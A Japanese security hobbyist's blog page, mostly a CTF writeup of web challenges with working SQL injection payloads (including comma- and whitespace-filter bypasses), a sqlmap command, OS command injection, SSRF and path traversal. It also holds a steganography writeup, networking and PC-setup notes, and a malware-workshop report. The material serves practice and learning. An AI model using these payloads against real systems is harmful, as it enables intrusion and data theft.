Marsの5εcur1ty備忘録

不定期的にCTF、脆弱性検証、バグバウンティレポート分析など、情報セキュリティを中心とした技術ブログを更新します。

Archiso Web Challenges 2019 Writeup

こんにちは、Marsです。
f:id:z773733850:20191228220610p:plain
今回は、Archiso Web Challenges 2019に参加してきました。

#AWebC19 hashtag on Twitter

問題は12問あります。
今回は、8時間38分ほどかけてやっと全問解けましたが、ちょっと遅かったです。
今後解くスピードを上げるために、Writeupを書いておきます。

問題の全体はこんな感じです。
f:id:z773733850:20191228220850p:plain

[100点問題はパスします]

Out of Display [100pt] (パス)

Whited Out [100pt] (パス)

Rel [100pt] (パス)

Agent [200pt]

  • Keyword:
    User Agent
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
  • Flag:
    WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}

    Ref [200pt]

  • Keyword:
    Referer
Referer: https://www.google.com/
  • Flag:
    WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}

    Oluri Key [300pt]

  • Keyword:
    SQL Injection
User ID: ' OR '1'='1'; --  
  • Flag:
    WebC{N0w_y0u_c4n_l0gin_to_0ur_k3y_sys7em_0e789551}

    Fruits List [300pt]

    Keyword: OS Command Injection

  • Source Code:
    f:id:z773733850:20191228222440p:plain
  • Payload:
view-source:https://awebc19.archiso.dev/problems/fruits_list/index.php?season=;ls%20-la%20/

f:id:z773733850:20191228223154p:plain
- Flag:
WebC{Y0u_c4n_choo5e_frui7s_with_y0ur_f4vorite_season!_b5d3a864}

Dolls Data 1 [400pt]

  • Keyword:
    SQL Injection

    Method 1:

  • Payload:
sqlmap -u "https://awebc19.archiso.dev/problems/dolls_data_1/query.php" --data "value=1&option=id" --cookie="session=5d22cab7-413c-48e0-a858-e34eee4abd6a;__cfduid=d4712e5e18be0cbf6c2521da1b2e0b8521577179386" -p value --dump --identify-waf -v 3

f:id:z773733850:20191228223459p:plain

Method 2:

  • Find database:
1' UNION ALL SELECT schema_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata; --

Result:
f:id:z773733850:20191228223922p:plain
- Find tables:

1' UNION ALL SELECT table_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables; --

Result:
dolls_data_1_flag_b3f4befc
f:id:z773733850:20191228224110p:plain
- Find columns:

1' UNION ALL SELECT column_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns; --

Result:
kar98k
一番したにスクロールして、
f:id:z773733850:20191228224356p:plain
- Get flag:

1' UNION ALL SELECT kar98k,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM dolls_data_1_flag_b3f4befc; --

Result:
f:id:z773733850:20191228224541p:plain
Flag: WebC{D0lls_front1ine_i5_v3ry_nic3_g4me!_Y0u_mu5t_p1ay_i7_n0w!_d10e093d}

Single Page HTML Viewer 2 [419pt]

  • Keyword:
    Server Side Request Forgery
    問題文が重要:
    f:id:z773733850:20191228231009p:plain
  • Try:
    まず、FiddlerでNull Byteを注入してみる
    f:id:z773733850:20191228234233p:plain
    (Cookie丸出しですが無視してください^ ^)
    エラーが出たので、使用された関数とquery.phpのpathが分かった(みんな分かると思いますのでサイト側のmain.jsコードの説明を省略)
    ローカルパスfile://で読み込みます。
  • Payload:
file:///flag
  • Result:
    f:id:z773733850:20191228234650p:plain
    (Cookie丸出しですが無視してください^ ^)
  • Flag:
    WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}

Go Mikuji [500pt]

  • Keyword:
    Path Traversal
    ファイルが与えられます。
    f:id:z773733850:20191228233359p:plain
  • Introduction:
    ファイル構造:
    f:id:z773733850:20191228232015p:plain
    flag.txtはpublicディレクトリの親ディレクトリに入っています。
    f:id:z773733850:20191228232116p:plain
    Golangの関数を一つ一つ調べました。
    ざっと説明すると、パス:”カレントディレクトリのPath+public+URL断片"のファイルのテキストを表示するコードです。
    コード1~2行目:URL断片は、まずhttp requestのオブジェクト?(多分)、を変数rに格納し、rからURLを取得し、そのURLの一番後ろにあるスラッシュ/の次の文字から末尾文字までの文字列となっています。
    コード3行目:バックスラッシュがあったらそれをスラッシュに書き換える。
    Path Traversalを起こすには、ちょっと工夫すれば大丈夫です。
    https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt にアクセス
    ↓(コード1行目と2行目の処理)
    ..\\flag.txt (URL断片)

    path:カレントディレクトリのPath/public/..\\flag.txt
    ↓(コード3行目の処理)
    path:カレントディレクトリのPath/public/../flag.txt
    ↓(コード4行目の処理)
    os.Open(path)
  • Payload:
curl -v https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt

Flag: WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}

Dolls Data 2 [400pt]

手動注入でかなりはまりました。原因は11列のデータも取得しようとしてることを思いつかなかったことです。
8列までNULLを試したがずっと失敗してて、エラーの理由が分かりませんでした。
反省点:何かのフィルタリングでsqlmapが失敗する場合は、bashとかでも書いて列数を増やしながらcurlで確認して手動注入します。
- Keyword:
SQL Injection
SQL Injection: カンマがフィルタされた
解決方法:
github.com
( Ctrl+F: No Comma - bypass using OFFSET, FROM and JOIN )

SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d  
  • Find database:
1' UNION ALL SELECT * FROM (SELECT schema_name FROM information_schema.schemata)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Result:
    spas
  • Find table:
1' UNION ALL SELECT * FROM (SELECT table_name FROM information_schema.tables)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Result:
    dolls_data_2_flag_dfe61e6c
  • Find columns:
1' UNION ALL SELECT * FROM (SELECT column_name FROM information_schema.columns)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Result:
    hkm4
  • Get flag:
1' UNION ALL SELECT * FROM (SELECT hkm4 FROM dolls_data_2_flag_dfe61e6c)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Flag:
    WebC{404_s9uad_c0nsi5ts_0f_UMP45_UMP9_GrG11_4nd_416_702e53df}

    Dolls Data 3 [400pt]

  • Keyword:
    SQL Injection
    SQL Injection: 空白もカンマもフィルタされた
    解決方法:
    空白→/**/ ( コメントの記述 )
  • Find database:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/schema_name/**/FROM/**/information_schema.schemata)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Result:
    spitfire
  • Find table:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/table_name/**/FROM/**/information_schema.tables)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Result:
    dolls_data_3_flag_979c7e90
  • Find columns:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/column_name/**/FROM/**/information_schema.columns)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Result:
    m4a1
  • Get flag:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/m4a1/**/FROM/**/dolls_data_3_flag_979c7e90)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Flag:
    WebC{Con9ratu1ati0ns!_Y0u_ar3_7he_tru1y_m4ster_0f_SQL_inj3ction!_7a5c9318}

SQL Injection: 早見表
marsblog.hatenablog.jp

全体としては初心者向けな感じがしますが、とても良い問題だと思います。

サムネイル画像・検出および抽出方法

justCTF 2019のwriteup

Matryoshka (157 pts)

Look at this picture. Can you get the flag?

ctftime.org

f:id:z773733850:20191223224255p:plain

jpg画像が与えられます。

thumbnail画像チェック:

root@fang:/mnt/hgfs/vmshare/ctf/justctf2019/misc# exiftool matryoshka.jpg
ExifTool Version Number         : 11.79
File Name                       : matryoshka.jpg
Directory                       : .
File Size                       : 571 kB
File Modification Date/Time     : 2019:12:23 22:28:07+09:00
File Access Date/Time           : 2019:12:23 22:39:07+09:00
File Inode Change Date/Time     : 2019:12:23 22:28:07+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Warning                         : [minor] File contains multi-segment EXIF
Exif Byte Order                 : Little-endian (Intel, II)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : GIMP 2.10.14
Modify Date                     : 2019:12:13 20:22:50
Color Space                     : sRGB
Compression                     : JPEG (old-style)
Photometric Interpretation      : YCbCr
Samples Per Pixel               : 3
Thumbnail Offset                : 292
Thumbnail Length                : 453442
Profile CMM Type                : Little CMS
Profile Version                 : 4.3.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2019:12:13 19:20:34
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 0
Profile Description             : GIMP built-in sRGB
Profile Copyright               : Public Domain
Media White Point               : 0.9642 1 0.82491
Chromatic Adaptation            : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
Red Matrix Column               : 0.43604 0.22249 0.01392
Blue Matrix Column              : 0.14305 0.06061 0.71393
Green Matrix Column             : 0.38512 0.7169 0.09706
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Chromaticity Channels           : 3
Chromaticity Colorant           : Unknown (0)
Chromaticity Channel 1          : 0.64 0.33002
Chromaticity Channel 2          : 0.3 0.60001
Chromaticity Channel 3          : 0.15001 0.06
Device Mfg Desc                 : GIMP
Device Model Desc               : sRGB
Image Width                     : 1200
Image Height                    : 567
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1200x567
Megapixels                      : 0.680
Thumbnail Image                 : (Binary data 453442 bytes, use -b option to extract)

一番下にThumbnail Imageの情報が書かれています。453442 bytesのバイナリデータで、-bオプションで抽出できると丁寧に書いています笑

サムネイル画像抽出:

exiftool -b -ThumbnailImage matryoshka.jpg > thumbnail.jpg

thumbnail.jpgを開く:

f:id:z773733850:20191223224508p:plain

繰り返しサムネイル画像を抽出すると: f:id:z773733850:20191223225649p:plain

f:id:z773733850:20191223225802p:plain

justCTF{d1d_y0u_kn0w_7h47_f1r57_m47ry05hk4_d0ll_w45_m4d3_129_y34r5_4g0}

How to install GNS3 and capture packets?

Index

  1. Installation
  2. Capture packets

Installation:

www.youtube.com

Capture packets:

We first need to configure IP addresses.
(e.g.
PC1: $ ip 10.1.1.1 255.255.255.0
PC2: $ ip 10.1.1.2 255.255.255.0
//restart GNS3
)

Step 1:

  • Right click the link that we want to capture.
    f:id:z773733850:20191120193117p:plain
  • Click 'start capture' and click 'ok'.

Check out if there are some error messages.
In my case, I got some error messages.
f:id:z773733850:20191120193349p:plain

This error message indicates that the path of Wireshark is unknown.
Thus, just modify the path of Wireshark to the true one.
f:id:z773733850:20191120193759p:plain

Click 'Edit' on the menu bar and click 'preference', then go to 'Packet Capture'.
f:id:z773733850:20191120193922p:plain

The default path of wireshark is 'C:\Program Files\Wireshark\wireshark.exe', I just changed it to the following stuff.

E:\InfosecTools\Network\Wireshark\Wireshark.exe

Then, click 'Apply' and 'OK'.
Fixed.
f:id:z773733850:20191120194431p:plain

Try to send ICMP packet...
f:id:z773733850:20191120194604p:plain
Notice I'm capturing packets between PC1 and Switch, so I sent ICMP packets from PC1 to PC2.
f:id:z773733850:20191120194734p:plain
Successful!

(VMWare) How to fix Kali linux stuck on "Started daily apt upgrade and clean activities"?

Problem:
f:id:z773733850:20191114023926p:plain
The VM stuck on "Started daily apt upgrade and clean activities" and we can't startup.

In my case, I just extended disk space from 20GB to 40 GB.

Solution:
1. Shutdown the VM.
2. Extend the disk.
f:id:z773733850:20191114023144p:plain
3. Save and startup VM.
4. Startup with recovery mode and input a command 'sudo apt clean', restart.

f:id:z773733850:20191114023328p:plain
Great.

(SSD交換)SSDが届いたら何をすれば良い?

こんにちは!Marsです。

最近VMを起動するとパソコンが異常に重い事態が頻繁に発生し、パソコンがほぼ使い物にならないと思ってSSDを買いました。
交換する前のHDDは4年ほど使っていて、やっと寿命が来た?って思いました。

自分はHDD/SSDの交換経験がないので、友人に聞いてたらSamsungIntelSSDはいいぞって言われて、Amazonで調べたら1TBのSSDがありました。その値段はなんと、、、1万円!

www.amazon.co.jp

いい買い物だったぞ、

さて、設定しよー
最初はクローンを考えていましたが、クローン元のHDDはGPTフォーマットだったのでMBRフォーマットよりだいぶややこしくなります。
クローンする際にOSの番地が変わってしまうので、ブート領域やページファイルなどがそのままコピーされるとOSが入っている番地に入ることができなくなるのでOSが起動できなくなります。それでBCD領域の再構築で躓いてWindowsの再インストールにしました。

Windowsをインストールした後、クローンより再インストールのほうがよくね?って思いました!
なぜなら、これをきっかけにファイルを整理して、いらないファイルをコピペしなくて済む...
何より大事なのは再インストールのほうが圧倒的に早い
という点です。

手順: 1. 元のHDD or SSDのままWindows インストールメディアツールをダウンロードします。
www.microsoft.com
2. 途中でOSのUSBドライブを作成するオプションがあり、USBメモリを挿入してUSBドライブを作成します。
3. SSDを交換し(SATA接続にする)、BIOS設定からUSBからの起動の優先度をSSDより高く設定する。
4. USBからWindowsインストーラを起動し、SSDをフォーマットしてOSをインストールします。
5. 完了。あとはもとのHDD or SSDをHDDケース(接続タイプに注意)に入れてデータを移動するだけ

マイクロソフトのライセンス認証はマックアドレスで個人を識別しているので、同じ端末(同じMacアドレス)であればいくらでもWindows OSを再インストールできます(ライセンスキーの二度入力不要)。

www.atmarkit.co.jp

【感想編】大和セキュリティin江戸・2019 参加レポート&深堀してみよう

こんにちワン、Marsです。
f:id:z773733850:20191110190856p:plain

11月3日~4日に大和セキュリティのMAIR忍者チャレンジに参加してきました!試合形式でマルウェア解析の勉強会という感じですかね?

場所は東京・品川にある専門学校なんですが、最初は品川駅で降りて歩いて行こうと思ったら、2.7キロもあって慌てて駅に戻って、会場の最寄駅に到着しました。
セーフ...

角の方の席に座ることになって、コンテストの説明が始まりました。
説明していたのはザックさん(@yamatosecurity)で、初めてザックさんの本物を見ました!
鉢巻が一番印象に残りました。忍者ですからね

さて、コンテスト開始!
マルウェアを解析したのは初めてなので、いろいろ調べて勉強しようという気持ちを抱きながら解析を始めました。
実は、学校で研究&勉強目的でマルウェアをダウンロードしたことがあって、情報基盤センターの先生から「xxxがマルウェアをダウンロードしました」という脅迫メールが送られてきて、その後はマルウェア解析に手を付くことに戸惑いました。正当な理由でマルウェアの所持自体が犯罪ですからね。(研究&勉強目的は、正当かな?)

とりあえず表層解析して、その後はどういうようにマルウェアの詳細情報を抽出するかが全く分かりませんでした。

試合開始後に数分経つと、チームの強い人から表層解析の情報が届きました。ちなみに送られてきた表層情報は各種マルウェアのEXEファイルのハッシュ値virustotal&anyrunの解析レポートURLです。

マルウェア解析のためのVMは構築してあるが、解析用のツールはVMに全く入っていないのでとりあえず動的解析・behavior analysisに必要なツールをインストールしました。静的解析をするつもりがないのになぜか気まぐれでIDAとGhidraをインストール...

とりあえずVMにインストールしたツールはprocess hackerとbinary editorくらいかな、それ以外の解析作業は全部anyrunに丸投げ(オンラインマルウェア自動解析サンドボックス)...
any.run

ディスク容量が限界に達しているので、VMを起動するたびにフリーズして、そこでファイル削除祭りが始まりました。

そこで2時間通過...
昼飯食いてぇなー

一日目はマルウェアをクリックした後に作成されたファイルの動作に着目して解析結果をまとめましたが、時間のロスが大きくてあまり進んでいませんでしたが、徹夜してリベンジしてやろうと思いました。

--- 2日目 ---
24:00過ぎました、まだパソコンが重い。
そもそもこのパソコンは5年ほど使っているので、HDDもCPUもおじいちゃんになりました。しょうがないなー、就職したら良いパソコン買おうぜ

プロセスの関係性を分析して、知識の無さに痛感しました。
このプロセスってどのプロセスの子プロセスなんだろう?
どこから仮想通貨のマイニングをしてんだろう?

と、無限の疑問が浮かび上がり、Windowsシステムプロセスを一個一個調べました。やはり一部のプロセスの関係性がわかんねぇなOrz

と、その時に、exe拡張子のファイルからps1拡張子のファイルに目を移りました。
最初は特に怪しそうなパワーシェルコマンドがなかったが(実際全部怪しいだろ!)、異常に長いランダムに見える文字列がありました。 あっ、これはまさか、マルウェアbase64なんじゃ...

Linuxbase64のデコードをして、正体が現れました。 中身は読めないバイナリコード以外に、コマンドラインでやり取りしてるような文字がありました!
チームメンバーの言う通り、やはりmimikatzというエクスプロイトツールが使われていました。
コマンドラインのようなやり取りが見えて、ほとんど「失敗」でした。 mimikatzの機能について調べたら、仮想通貨のマイニングとホストログインパスワードの窃取以外にもKerberosチケットの窃取など様々の機能が備わっています。

とりあえずslackにこの発見を報告!

試合終了まで分かったことは、これくらいでした。
試合終了!!

同じチームの方、本当にありがとうございます。

終結果はBランクでしたが、かなり勉強になりました。
また来年来たいと思います。

Copyright Mars 2019